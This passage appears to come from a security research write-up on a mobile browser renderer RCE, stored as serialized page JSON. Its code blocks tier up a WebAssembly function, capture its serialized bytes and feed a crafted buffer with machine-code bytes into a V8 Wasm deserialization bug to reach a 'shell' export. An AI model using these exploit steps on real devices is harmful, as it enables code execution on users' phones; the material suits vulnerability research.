",{"type":25,"tag":115,"props":137510,"children":137512},{"className":137511},[],[137513],{"type":31,"value":134040},{"type":31,"value":12493},{"type":25,"tag":115,"props":137516,"children":137518},{"className":137517},[],[137519],{"type":31,"value":135008},{"type":31,"value":137521},". To avoid patching the bytecode again to invoke ",{"type":25,"tag":115,"props":137523,"children":137525},{"className":137524},[],[137526],{"type":31,"value":135008},{"type":31,"value":137528},", we can force Turbofan to compile the target function like this:",{"type":25,"tag":191,"props":137530,"children":137532},{"code":137531,"language":36685,"meta":7,"className":36683,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[137533],{"type":25,"tag":115,"props":137534,"children":137535},{"__ignoreMap":7},[137536,137544,137604,137616],{"type":25,"tag":201,"props":137537,"children":137538},{"class":203,"line":204},[137539],{"type":25,"tag":201,"props":137540,"children":137541},{"style":4497},[137542],{"type":31,"value":137543},"// %WasmTierUpFunction(func);\n",{"type":25,"tag":201,"props":137545,"children":137546},{"class":203,"line":226},[137547,137551,137555,137559,137563,137567,137571,137575,137579,137583,137588,137592,137596,137600],{"type":25,"tag":201,"props":137548,"children":137549},{"style":230},[137550],{"type":31,"value":4899},{"type":25,"tag":201,"props":137552,"children":137553},{"style":220},[137554],{"type":31,"value":238},{"type":25,"tag":201,"props":137556,"children":137557},{"style":208},[137558],{"type":31,"value":13289},{"type":25,"tag":201,"props":137560,"children":137561},{"style":246},[137562],{"type":31,"value":4904},{"type":25,"tag":201,"props":137564,"children":137565},{"style":261},[137566],{"type":31,"value":413},{"type":25,"tag":201,"props":137568,"children":137569},{"style":426},[137570],{"type":31,"value":4554},{"type":25,"tag":201,"props":137572,"children":137573},{"style":220},[137574],{"type":31,"value":18723},{"type":25,"tag":201,"props":137576,"children":137577},{"style":246},[137578],{"type":31,"value":3641},{"type":25,"tag":201,"props":137580,"children":137581},{"style":261},[137582],{"type":31,"value":3208},{"type":25,"tag":201,"props":137584,"children":137585},{"style":426},[137586],{"type":31,"value":137587}," 0x100000",{"type":25,"tag":201,"props":137589,"children":137590},{"style":220},[137591],{"type":31,"value":18723},{"type":25,"tag":201,"props":137593,"children":137594},{"style":246},[137595],{"type":31,"value":3641},{"type":25,"tag":201,"props":137597,"children":137598},{"style":261},[137599],{"type":31,"value":52347},{"type":25,"tag":201,"props":137601,"children":137602},{"style":220},[137603],{"type":31,"value":275},{"type":25,"tag":201,"props":137605,"children":137606},{"class":203,"line":278},[137607,137612],{"type":25,"tag":201,"props":137608,"children":137609},{"style":214},[137610],{"type":31,"value":137611},"  func",{"type":25,"tag":201,"props":137613,"children":137614},{"style":220},[137615],{"type":31,"value":1985},{"type":25,"tag":201,"props":137617,"children":137618},{"class":203,"line":311},[137619],{"type":25,"tag":201,"props":137620,"children":137621},{"style":220},[137622],{"type":31,"value":1187},{"type":25,"tag":34,"props":137624,"children":137625},{},[137626],{"type":31,"value":137627},"Finally, running this code on the device:",{"type":25,"tag":191,"props":137629,"children":137631},{"code":137630,"language":36685,"meta":7,"className":36683,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[137632],{"type":25,"tag":115,"props":137633,"children":137634},{"__ignoreMap":7},[137635,137658,137686,137905,137972,137979,138022,138065,138104,138111,138119,138179,138191,138198,138205,138236,138279,138306,138313,138349,138412],{"type":25,"tag":201,"props":137636,"children":137637},{"class":203,"line":204},[137638,137642,137646,137650,137654],{"type":25,"tag":201,"props":137639,"children":137640},{"style":220},[137641],{"type":31,"value":298},{"type":25,"tag":201,"props":137643,"children":137644},{"style":208},[137645],{"type":31,"value":37215},{"type":25,"tag":201,"props":137647,"children":137648},{"style":220},[137649],{"type":31,"value":40767},{"type":25,"tag":201,"props":137651,"children":137652},{"style":208},[137653],{"type":31,"value":390},{"type":25,"tag":201,"props":137655,"children":137656},{"style":220},[137657],{"type":31,"value":327},{"type":25,"tag":201,"props":137659,"children":137660},{"class":203,"line":226},[137661,137666,137670,137674,137678,137682],{"type":25,"tag":201,"props":137662,"children":137663},{"style":208},[137664],{"type":31,"value":137665},"  var",{"type":25,"tag":201,"props":137667,"children":137668},{"style":246},[137669],{"type":31,"value":134538},{"type":25,"tag":201,"props":137671,"children":137672},{"style":261},[137673],{"type":31,"value":413},{"type":25,"tag":201,"props":137675,"children":137676},{"style":208},[137677],{"type":31,"value":828},{"type":25,"tag":201,"props":137679,"children":137680},{"style":214},[137681],{"type":31,"value":134551},{"type":25,"tag":201,"props":137683,"children":137684},{"style":220},[137685],{"type":31,"value":134556},{"type":25,"tag":201,"props":137687,"children":137688},{"class":203,"line":278},[137689,137693,137697,137701,137705,137709,137713,137717,137721,137725,137729,137733,137737,137741,137745,137749,137753,137757,137761,137765,137769,137773,137777,137781,137785,137789,137793,137797,137801,137805,137809,137813,137817,137821,137825,137829,137833,137837,137841,137845,137849,137853,137857,137861,137865,137869,137873,137877,137881,137885,137889,137893,137897,137901],{"type":25,"tag":201,"props":137690,"children":137691},{"style":426},[137692],{"type":31,"value":135281},{"type":25,"tag":201,"props":137694,"children":137695},{"style":220},[137696],{"type":31,"value":919},{"type":25,"tag":201,"props":137698,"children":137699},{"style":426},[137700],{"type":31,"value":134573},{"type":25,"tag":201,"props":137702,"children":137703},{"style":220},[137704],{"type":31,"value":919},{"type":25,"tag":201,"props":137706,"children":137707},{"style":426},[137708],{"type":31,"value":134582},{"type":25,"tag":201,"props":137710,"children":137711},{"style":220},[137712],{"type":31,"value":919},{"type":25,"tag":201,"props":137714,"children":137715},{"style":426},[137716],{"type":31,"value":134591},{"type":25,"tag":201,"props":137718,"children":137719},{"style":220},[137720],{"type":31,"value":919},{"type":25,"tag":201,"props":137722,"children":137723},{"style":426},[137724],{"type":31,"value":5516},{"type":25,"tag":201,"props":137726,"children":137727},{"style":220},[137728],{"type":31,"value":919},{"type":25,"tag":201,"props":137730,"children":137731},{"style":426},[137732],{"type":31,"value":429},{"type":25,"tag":201,"props":137734,"children":137735},{"style":220},[137736],{"type":31,"value":919},{"type":25,"tag":201,"props":137738,"children":137739},{"style":426},[137740],{"type":31,"value":429},{"type":25,"tag":201,"props":137742,"children":137743},{"style":220},[137744],{"type":31,"value":919},{"type":25,"tag":201,"props":137746,"children":137747},{"style":426},[137748],{"type":31,"value":429},{"type":25,"tag":201,"props":137750,"children":137751},{"style":220},[137752],{"type":31,"value":919},{"type":25,"tag":201,"props":137754,"children":137755},{"style":426},[137756],{"type":31,"value":5516},{"type":25,"tag":201,"props":137758,"children":137759},{"style":220},[137760],{"type":31,"value":919},{"type":25,"tag":201,"props":137762,"children":137763},{"style":426},[137764],{"type":31,"value":19025},{"type":25,"tag":201,"props":137766,"children":137767},{"style":220},[137768],{"type":31,"value":919},{"type":25,"tag":201,"props":137770,"children":137771},{"style":426},[137772],{"type":31,"value":5516},{"type":25,"tag":201,"props":137774,"children":137775},{"style":220},[137776],{"type":31,"value":919},{"type":25,"tag":201,"props":137778,"children":137779},{"style":426},[137780],{"type":31,"value":134656},{"type":25,"tag":201,"props":137782,"children":137783},{"style":220},[137784],{"type":31,"value":919},{"type":25,"tag":201,"props":137786,"children":137787},{"style":426},[137788],{"type":31,"value":429},{"type":25,"tag":201,"props":137790,"children":137791},{"style":220},[137792],{"type":31,"value":919},{"type":25,"tag":201,"props":137794,"children":137795},{"style":426},[137796],{"type":31,"value":429},{"type":25,"tag":201,"props":137798,"children":137799},{"style":220},[137800],{"type":31,"value":919},{"type":25,"tag":201,"props":137802,"children":137803},{"style":426},[137804],{"type":31,"value":18792},{"type":25,"tag":201,"props":137806,"children":137807},{"style":220},[137808],{"type":31,"value":919},{"type":25,"tag":201,"props":137810,"children":137811},{"style":426},[137812],{"type":31,"value":4629},{"type":25,"tag":201,"props":137814,"children":137815},{"style":220},[137816],{"type":31,"value":919},{"type":25,"tag":201,"props":137818,"children":137819},{"style":426},[137820],{"type":31,"value":5516},{"type":25,"tag":201,"props":137822,"children":137823},{"style":220},[137824],{"type":31,"value":919},{"type":25,"tag":201,"props":137826,"children":137827},{"style":426},[137828],{"type":31,"value":429},{"type":25,"tag":201,"props":137830,"children":137831},{"style":220},[137832],{"type":31,"value":919},{"type":25,"tag":201,"props":137834,"children":137835},{"style":426},[137836],{"type":31,"value":55749},{"type":25,"tag":201,"props":137838,"children":137839},{"style":220},[137840],{"type":31,"value":919},{"type":25,"tag":201,"props":137842,"children":137843},{"style":426},[137844],{"type":31,"value":56964},{"type":25,"tag":201,"props":137846,"children":137847},{"style":220},[137848],{"type":31,"value":919},{"type":25,"tag":201,"props":137850,"children":137851},{"style":426},[137852],{"type":31,"value":5516},{"type":25,"tag":201,"props":137854,"children":137855},{"style":220},[137856],{"type":31,"value":919},{"type":25,"tag":201,"props":137858,"children":137859},{"style":426},[137860],{"type":31,"value":19606},{"type":25,"tag":201,"props":137862,"children":137863},{"style":220},[137864],{"type":31,"value":919},{"type":25,"tag":201,"props":137866,"children":137867},{"style":426},[137868],{"type":31,"value":134582},{"type":25,"tag":201,"props":137870,"children":137871},{"style":220},[137872],{"type":31,"value":919},{"type":25,"tag":201,"props":137874,"children":137875},{"style":426},[137876],{"type":31,"value":134753},{"type":25,"tag":201,"props":137878,"children":137879},{"style":220},[137880],{"type":31,"value":919},{"type":25,"tag":201,"props":137882,"children":137883},{"style":426},[137884],{"type":31,"value":134762},{"type":25,"tag":201,"props":137886,"children":137887},{"style":220},[137888],{"type":31,"value":919},{"type":25,"tag":201,"props":137890,"children":137891},{"style":426},[137892],{"type":31,"value":134771},{"type":25,"tag":201,"props":137894,"children":137895},{"style":220},[137896],{"type":31,"value":919},{"type":25,"tag":201,"props":137898,"children":137899},{"style":426},[137900],{"type":31,"value":134771},{"type":25,"tag":201,"props":137902,"children":137903},{"style":220},[137904],{"type":31,"value":547},{"type":25,"tag":201,"props":137906,"children":137907},{"class":203,"line":311},[137908,137912,137916,137920,137924,137928,137932,137936,137940,137944,137948,137952,137956,137960,137964,137968],{"type":25,"tag":201,"props":137909,"children":137910},{"style":426},[137911],{"type":31,"value":135281},{"type":25,"tag":201,"props":137913,"children":137914},{"style":220},[137915],{"type":31,"value":919},{"type":25,"tag":201,"props":137917,"children":137918},{"style":426},[137919],{"type":31,"value":429},{"type":25,"tag":201,"props":137921,"children":137922},{"style":220},[137923],{"type":31,"value":919},{"type":25,"tag":201,"props":137925,"children":137926},{"style":426},[137927],{"type":31,"value":90337},{"type":25,"tag":201,"props":137929,"children":137930},{"style":220},[137931],{"type":31,"value":919},{"type":25,"tag":201,"props":137933,"children":137934},{"style":426},[137935],{"type":31,"value":19025},{"type":25,"tag":201,"props":137937,"children":137938},{"style":220},[137939],{"type":31,"value":919},{"type":25,"tag":201,"props":137941,"children":137942},{"style":426},[137943],{"type":31,"value":5516},{"type":25,"tag":201,"props":137945,"children":137946},{"style":220},[137947],{"type":31,"value":919},{"type":25,"tag":201,"props":137949,"children":137950},{"style":426},[137951],{"type":31,"value":4629},{"type":25,"tag":201,"props":137953,"children":137954},{"style":220},[137955],{"type":31,"value":919},{"type":25,"tag":201,"props":137957,"children":137958},{"style":426},[137959],{"type":31,"value":429},{"type":25,"tag":201,"props":137961,"children":137962},{"style":220},[137963],{"type":31,"value":919},{"type":25,"tag":201,"props":137965,"children":137966},{"style":426},[137967],{"type":31,"value":134847},{"type":25,"tag":201,"props":137969,"children":137970},{"style":220},[137971],{"type":31,"value":547},{"type":25,"tag":201,"props":137973,"children":137974},{"class":203,"line":330},[137975],{"type":25,"tag":201,"props":137976,"children":137977},{"style":220},[137978],{"type":31,"value":135568},{"type":25,"tag":201,"props":137980,"children":137981},{"class":203,"line":397},[137982,137986,137990,137994,137998,138002,138006,138010,138014,138018],{"type":25,"tag":201,"props":137983,"children":137984},{"style":208},[137985],{"type":31,"value":137665},{"type":25,"tag":201,"props":137987,"children":137988},{"style":246},[137989],{"type":31,"value":72706},{"type":25,"tag":201,"props":137991,"children":137992},{"style":261},[137993],{"type":31,"value":413},{"type":25,"tag":201,"props":137995,"children":137996},{"style":208},[137997],{"type":31,"value":828},{"type":25,"tag":201,"props":137999,"children":138000},{"style":246},[138001],{"type":31,"value":134882},{"type":25,"tag":201,"props":138003,"children":138004},{"style":220},[138005],{"type":31,"value":80},{"type":25,"tag":201,"props":138007,"children":138008},{"style":214},[138009],{"type":31,"value":87003},{"type":25,"tag":201,"props":138011,"children":138012},{"style":220},[138013],{"type":31,"value":298},{"type":25,"tag":201,"props":138015,"children":138016},{"style":246},[138017],{"type":31,"value":134899},{"type":25,"tag":201,"props":138019,"children":138020},{"style":220},[138021],{"type":31,"value":308},{"type":25,"tag":201,"props":138023,"children":138024},{"class":203,"line":437},[138025,138029,138033,138037,138041,138045,138049,138053,138057,138061],{"type":25,"tag":201,"props":138026,"children":138027},{"style":208},[138028],{"type":31,"value":137665},{"type":25,"tag":201,"props":138030,"children":138031},{"style":246},[138032],{"type":31,"value":134915},{"type":25,"tag":201,"props":138034,"children":138035},{"style":261},[138036],{"type":31,"value":413},{"type":25,"tag":201,"props":138038,"children":138039},{"style":208},[138040],{"type":31,"value":828},{"type":25,"tag":201,"props":138042,"children":138043},{"style":246},[138044],{"type":31,"value":134882},{"type":25,"tag":201,"props":138046,"children":138047},{"style":220},[138048],{"type":31,"value":80},{"type":25,"tag":201,"props":138050,"children":138051},{"style":214},[138052],{"type":31,"value":134936},{"type":25,"tag":201,"props":138054,"children":138055},{"style":220},[138056],{"type":31,"value":298},{"type":25,"tag":201,"props":138058,"children":138059},{"style":246},[138060],{"type":31,"value":134945},{"type":25,"tag":201,"props":138062,"children":138063},{"style":220},[138064],{"type":31,"value":308},{"type":25,"tag":201,"props":138066,"children":138067},{"class":203,"line":464},[138068,138072,138076,138080,138084,138088,138092,138096,138100],{"type":25,"tag":201,"props":138069,"children":138070},{"style":208},[138071],{"type":31,"value":137665},{"type":25,"tag":201,"props":138073,"children":138074},{"style":246},[138075],{"type":31,"value":81093},{"type":25,"tag":201,"props":138077,"children":138078},{"style":261},[138079],{"type":31,"value":413},{"type":25,"tag":201,"props":138081,"children":138082},{"style":246},[138083],{"type":31,"value":134915},{"type":25,"tag":201,"props":138085,"children":138086},{"style":220},[138087],{"type":31,"value":80},{"type":25,"tag":201,"props":138089,"children":138090},{"style":246},[138091],{"type":31,"value":38956},{"type":25,"tag":201,"props":138093,"children":138094},{"style":220},[138095],{"type":31,"value":80},{"type":25,"tag":201,"props":138097,"children":138098},{"style":246},[138099],{"type":31,"value":134985},{"type":25,"tag":201,"props":138101,"children":138102},{"style":220},[138103],{"type":31,"value":461},{"type":25,"tag":201,"props":138105,"children":138106},{"class":203,"line":490},[138107],{"type":25,"tag":201,"props":138108,"children":138109},{"emptyLinePlaceholder":17},[138110],{"type":31,"value":496},{"type":25,"tag":201,"props":138112,"children":138113},{"class":203,"line":499},[138114],{"type":25,"tag":201,"props":138115,"children":138116},{"style":4497},[138117],{"type":31,"value":138118},"  // %WasmTierUpFunction(func);\n",{"type":25,"tag":201,"props":138120,"children":138121},{"class":203,"line":522},[138122,138127,138131,138135,138139,138143,138147,138151,138155,138159,138163,138167,138171,138175],{"type":25,"tag":201,"props":138123,"children":138124},{"style":230},[138125],{"type":31,"value":138126},"  for",{"type":25,"tag":201,"props":138128,"children":138129},{"style":220},[138130],{"type":31,"value":238},{"type":25,"tag":201,"props":138132,"children":138133},{"style":208},[138134],{"type":31,"value":13289},{"type":25,"tag":201,"props":138136,"children":138137},{"style":246},[138138],{"type":31,"value":4904},{"type":25,"tag":201,"props":138140,"children":138141},{"style":261},[138142],{"type":31,"value":413},{"type":25,"tag":201,"props":138144,"children":138145},{"style":426},[138146],{"type":31,"value":4554},{"type":25,"tag":201,"props":138148,"children":138149},{"style":220},[138150],{"type":31,"value":18723},{"type":25,"tag":201,"props":138152,"children":138153},{"style":246},[138154],{"type":31,"value":3641},{"type":25,"tag":201,"props":138156,"children":138157},{"style":261},[138158],{"type":31,"value":3208},{"type":25,"tag":201,"props":138160,"children":138161},{"style":426},[138162],{"type":31,"value":137587},{"type":25,"tag":201,"props":138164,"children":138165},{"style":220},[138166],{"type":31,"value":18723},{"type":25,"tag":201,"props":138168,"children":138169},{"style":246},[138170],{"type":31,"value":3641},{"type":25,"tag":201,"props":138172,"children":138173},{"style":261},[138174],{"type":31,"value":52347},{"type":25,"tag":201,"props":138176,"children":138177},{"style":220},[138178],{"type":31,"value":275},{"type":25,"tag":201,"props":138180,"children":138181},{"class":203,"line":531},[138182,138187],{"type":25,"tag":201,"props":138183,"children":138184},{"style":214},[138185],{"type":31,"value":138186},"    func",{"type":25,"tag":201,"props":138188,"children":138189},{"style":220},[138190],{"type":31,"value":1985},{"type":25,"tag":201,"props":138192,"children":138193},{"class":203,"line":550},[138194],{"type":25,"tag":201,"props":138195,"children":138196},{"style":220},[138197],{"type":31,"value":1178},{"type":25,"tag":201,"props":138199,"children":138200},{"class":203,"line":563},[138201],{"type":25,"tag":201,"props":138202,"children":138203},{"emptyLinePlaceholder":17},[138204],{"type":31,"value":496},{"type":25,"tag":201,"props":138206,"children":138207},{"class":203,"line":572},[138208,138212,138216,138220,138224,138228,138232],{"type":25,"tag":201,"props":138209,"children":138210},{"style":208},[138211],{"type":31,"value":9364},{"type":25,"tag":201,"props":138213,"children":138214},{"style":246},[138215],{"type":31,"value":137021},{"type":25,"tag":201,"props":138217,"children":138218},{"style":261},[138219],{"type":31,"value":413},{"type":25,"tag":201,"props":138221,"children":138222},{"style":214},[138223],{"type":31,"value":137030},{"type":25,"tag":201,"props":138225,"children":138226},{"style":220},[138227],{"type":31,"value":298},{"type":25,"tag":201,"props":138229,"children":138230},{"style":246},[138231],{"type":31,"value":134945},{"type":25,"tag":201,"props":138233,"children":138234},{"style":220},[138235],{"type":31,"value":308},{"type":25,"tag":201,"props":138237,"children":138238},{"class":203,"line":590},[138239,138243,138247,138251,138255,138259,138263,138267,138271,138275],{"type":25,"tag":201,"props":138240,"children":138241},{"style":246},[138242],{"type":31,"value":137066},{"type":25,"tag":201,"props":138244,"children":138245},{"style":261},[138246],{"type":31,"value":413},{"type":25,"tag":201,"props":138248,"children":138249},{"style":220},[138250],{"type":31,"value":238},{"type":25,"tag":201,"props":138252,"children":138253},{"style":230},[138254],{"type":31,"value":1845},{"type":25,"tag":201,"props":138256,"children":138257},{"style":246},[138258],{"type":31,"value":137021},{"type":25,"tag":201,"props":138260,"children":138261},{"style":220},[138262],{"type":31,"value":80},{"type":25,"tag":201,"props":138264,"children":138265},{"style":214},[138266],{"type":31,"value":58644},{"type":25,"tag":201,"props":138268,"children":138269},{"style":220},[138270],{"type":31,"value":137095},{"type":25,"tag":201,"props":138272,"children":138273},{"style":246},[138274],{"type":31,"value":40222},{"type":25,"tag":201,"props":138276,"children":138277},{"style":220},[138278],{"type":31,"value":461},{"type":25,"tag":201,"props":138280,"children":138281},{"class":203,"line":608},[138282,138286,138290,138294,138298,138302],{"type":25,"tag":201,"props":138283,"children":138284},{"style":246},[138285],{"type":31,"value":103028},{"type":25,"tag":201,"props":138287,"children":138288},{"style":220},[138289],{"type":31,"value":80},{"type":25,"tag":201,"props":138291,"children":138292},{"style":214},[138293],{"type":31,"value":103037},{"type":25,"tag":201,"props":138295,"children":138296},{"style":220},[138297],{"type":31,"value":298},{"type":25,"tag":201,"props":138299,"children":138300},{"style":246},[138301],{"type":31,"value":10587},{"type":25,"tag":201,"props":138303,"children":138304},{"style":220},[138305],{"type":31,"value":308},{"type":25,"tag":201,"props":138307,"children":138308},{"class":203,"line":617},[138309],{"type":25,"tag":201,"props":138310,"children":138311},{"emptyLinePlaceholder":17},[138312],{"type":31,"value":496},{"type":25,"tag":201,"props":138314,"children":138315},{"class":203,"line":625},[138316,138320,138325,138329,138333,138337,138341,138345],{"type":25,"tag":201,"props":138317,"children":138318},{"style":208},[138319],{"type":31,"value":9364},{"type":25,"tag":201,"props":138321,"children":138322},{"style":246},[138323],{"type":31,"value":138324}," result_bytes",{"type":25,"tag":201,"props":138326,"children":138327},{"style":261},[138328],{"type":31,"value":413},{"type":25,"tag":201,"props":138330,"children":138331},{"style":208},[138332],{"type":31,"value":828},{"type":25,"tag":201,"props":138334,"children":138335},{"style":214},[138336],{"type":31,"value":134551},{"type":25,"tag":201,"props":138338,"children":138339},{"style":220},[138340],{"type":31,"value":298},{"type":25,"tag":201,"props":138342,"children":138343},{"style":246},[138344],{"type":31,"value":10587},{"type":25,"tag":201,"props":138346,"children":138347},{"style":220},[138348],{"type":31,"value":308},{"type":25,"tag":201,"props":138350,"children":138351},{"class":203,"line":642},[138352,138356,138360,138364,138368,138372,138376,138380,138384,138388,138392,138396,138400,138404,138408],{"type":25,"tag":201,"props":138353,"children":138354},{"style":246},[138355],{"type":31,"value":103028},{"type":25,"tag":201,"props":138357,"children":138358},{"style":220},[138359],{"type":31,"value":80},{"type":25,"tag":201,"props":138361,"children":138362},{"style":214},[138363],{"type":31,"value":103037},{"type":25,"tag":201,"props":138365,"children":138366},{"style":220},[138367],{"type":31,"value":298},{"type":25,"tag":201,"props":138369,"children":138370},{"style":267},[138371],{"type":31,"value":135118},{"type":25,"tag":201,"props":138373,"children":138374},{"style":261},[138375],{"type":31,"value":10412},{"type":25,"tag":201,"props":138377,"children":138378},{"style":246},[138379],{"type":31,"value":138324},{"type":25,"tag":201,"props":138381,"children":138382},{"style":220},[138383],{"type":31,"value":80},{"type":25,"tag":201,"props":138385,"children":138386},{"style":214},[138387],{"type":31,"value":135135},{"type":25,"tag":201,"props":138389,"children":138390},{"style":220},[138391],{"type":31,"value":298},{"type":25,"tag":201,"props":138393,"children":138394},{"style":267},[138395],{"type":31,"value":135144},{"type":25,"tag":201,"props":138397,"children":138398},{"style":220},[138399],{"type":31,"value":385},{"type":25,"tag":201,"props":138401,"children":138402},{"style":261},[138403],{"type":31,"value":5886},{"type":25,"tag":201,"props":138405,"children":138406},{"style":267},[138407],{"type":31,"value":135157},{"type":25,"tag":201,"props":138409,"children":138410},{"style":220},[138411],{"type":31,"value":308},{"type":25,"tag":201,"props":138413,"children":138414},{"class":203,"line":659},[138415],{"type":25,"tag":201,"props":138416,"children":138417},{"style":220},[138418],{"type":31,"value":103069},{"type":25,"tag":34,"props":138420,"children":138421},{},[138422],{"type":31,"value":138423},"We get the serialized bytes:",{"type":25,"tag":34,"props":138425,"children":138426},{},[138427],{"type":25,"tag":127,"props":138428,"children":138431},{"alt":138429,"src":138430},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":25,"tag":34,"props":138433,"children":138434},{},[138435,138437,138442],{"type":31,"value":138436},"We can now embed this output into the original bytecode that calls ",{"type":25,"tag":115,"props":138438,"children":138440},{"className":138439},[],[138441],{"type":31,"value":134014},{"type":31,"value":5997},{"type":25,"tag":191,"props":138444,"children":138446},{"code":138445,"language":36685,"meta":7,"className":36683,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[138447],{"type":25,"tag":115,"props":138448,"children":138449},{"__ignoreMap":7},[138450,138473,138500,138719,138786,138793,138820,139031,139282,139533,139757,139939,140160,140238,140245,140292,140335,140371,140414,140453,140480],{"type":25,"tag":201,"props":138451,"children":138452},{"class":203,"line":204},[138453,138457,138461,138465,138469],{"type":25,"tag":201,"props":138454,"children":138455},{"style":220},[138456],{"type":31,"value":298},{"type":25,"tag":201,"props":138458,"children":138459},{"style":208},[138460],{"type":31,"value":37215},{"type":25,"tag":201,"props":138462,"children":138463},{"style":220},[138464],{"type":31,"value":40767},{"type":25,"tag":201,"props":138466,"children":138467},{"style":208},[138468],{"type":31,"value":390},{"type":25,"tag":201,"props":138470,"children":138471},{"style":220},[138472],{"type":31,"value":327},{"type":25,"tag":201,"props":138474,"children":138475},{"class":203,"line":226},[138476,138480,138484,138488,138492,138496],{"type":25,"tag":201,"props":138477,"children":138478},{"style":208},[138479],{"type":31,"value":37258},{"type":25,"tag":201,"props":138481,"children":138482},{"style":246},[138483],{"type":31,"value":134538},{"type":25,"tag":201,"props":138485,"children":138486},{"style":261},[138487],{"type":31,"value":413},{"type":25,"tag":201,"props":138489,"children":138490},{"style":208},[138491],{"type":31,"value":828},{"type":25,"tag":201,"props":138493,"children":138494},{"style":214},[138495],{"type":31,"value":134551},{"type":25,"tag":201,"props":138497,"children":138498},{"style":220},[138499],{"type":31,"value":134556},{"type":25,"tag":201,"props":138501,"children":138502},{"class":203,"line":278},[138503,138507,138511,138515,138519,138523,138527,138531,138535,138539,138543,138547,138551,138555,138559,138563,138567,138571,138575,138579,138583,138587,138591,138595,138599,138603,138607,138611,138615,138619,138623,138627,138631,138635,138639,138643,138647,138651,138655,138659,138663,138667,138671,138675,138679,138683,138687,138691,138695,138699,138703,138707,138711,138715],{"type":25,"tag":201,"props":138504,"children":138505},{"style":426},[138506],{"type":31,"value":135281},{"type":25,"tag":201,"props":138508,"children":138509},{"style":220},[138510],{"type":31,"value":919},{"type":25,"tag":201,"props":138512,"children":138513},{"style":426},[138514],{"type":31,"value":134573},{"type":25,"tag":201,"props":138516,"children":138517},{"style":220},[138518],{"type":31,"value":919},{"type":25,"tag":201,"props":138520,"children":138521},{"style":426},[138522],{"type":31,"value":134582},{"type":25,"tag":201,"props":138524,"children":138525},{"style":220},[138526],{"type":31,"value":919},{"type":25,"tag":201,"props":138528,"children":138529},{"style":426},[138530],{"type":31,"value":134591},{"type":25,"tag":201,"props":138532,"children":138533},{"style":220},[138534],{"type":31,"value":919},{"type":25,"tag":201,"props":138536,"children":138537},{"style":426},[138538],{"type":31,"value":5516},{"type":25,"tag":201,"props":138540,"children":138541},{"style":220},[138542],{"type":31,"value":919},{"type":25,"tag":201,"props":138544,"children":138545},{"style":426},[138546],{"type":31,"value":429},{"type":25,"tag":201,"props":138548,"children":138549},{"style":220},[138550],{"type":31,"value":919},{"type":25,"tag":201,"props":138552,"children":138553},{"style":426},[138554],{"type":31,"value":429},{"type":25,"tag":201,"props":138556,"children":138557},{"style":220},[138558],{"type":31,"value":919},{"type":25,"tag":201,"props":138560,"children":138561},{"style":426},[138562],{"type":31,"value":429},{"type":25,"tag":201,"props":138564,"children":138565},{"style":220},[138566],{"type":31,"value":919},{"type":25,"tag":201,"props":138568,"children":138569},{"style":426},[138570],{"type":31,"value":5516},{"type":25,"tag":201,"props":138572,"children":138573},{"style":220},[138574],{"type":31,"value":919},{"type":25,"tag":201,"props":138576,"children":138577},{"style":426},[138578],{"type":31,"value":19025},{"type":25,"tag":201,"props":138580,"children":138581},{"style":220},[138582],{"type":31,"value":919},{"type":25,"tag":201,"props":138584,"children":138585},{"style":426},[138586],{"type":31,"value":5516},{"type":25,"tag":201,"props":138588,"children":138589},{"style":220},[138590],{"type":31,"value":919},{"type":25,"tag":201,"props":138592,"children":138593},{"style":426},[138594],{"type":31,"value":134656},{"type":25,"tag":201,"props":138596,"children":138597},{"style":220},[138598],{"type":31,"value":919},{"type":25,"tag":201,"props":138600,"children":138601},{"style":426},[138602],{"type":31,"value":429},{"type":25,"tag":201,"props":138604,"children":138605},{"style":220},[138606],{"type":31,"value":919},{"type":25,"tag":201,"props":138608,"children":138609},{"style":426},[138610],{"type":31,"value":429},{"type":25,"tag":201,"props":138612,"children":138613},{"style":220},[138614],{"type":31,"value":919},{"type":25,"tag":201,"props":138616,"children":138617},{"style":426},[138618],{"type":31,"value":18792},{"type":25,"tag":201,"props":138620,"children":138621},{"style":220},[138622],{"type":31,"value":919},{"type":25,"tag":201,"props":138624,"children":138625},{"style":426},[138626],{"type":31,"value":4629},{"type":25,"tag":201,"props":138628,"children":138629},{"style":220},[138630],{"type":31,"val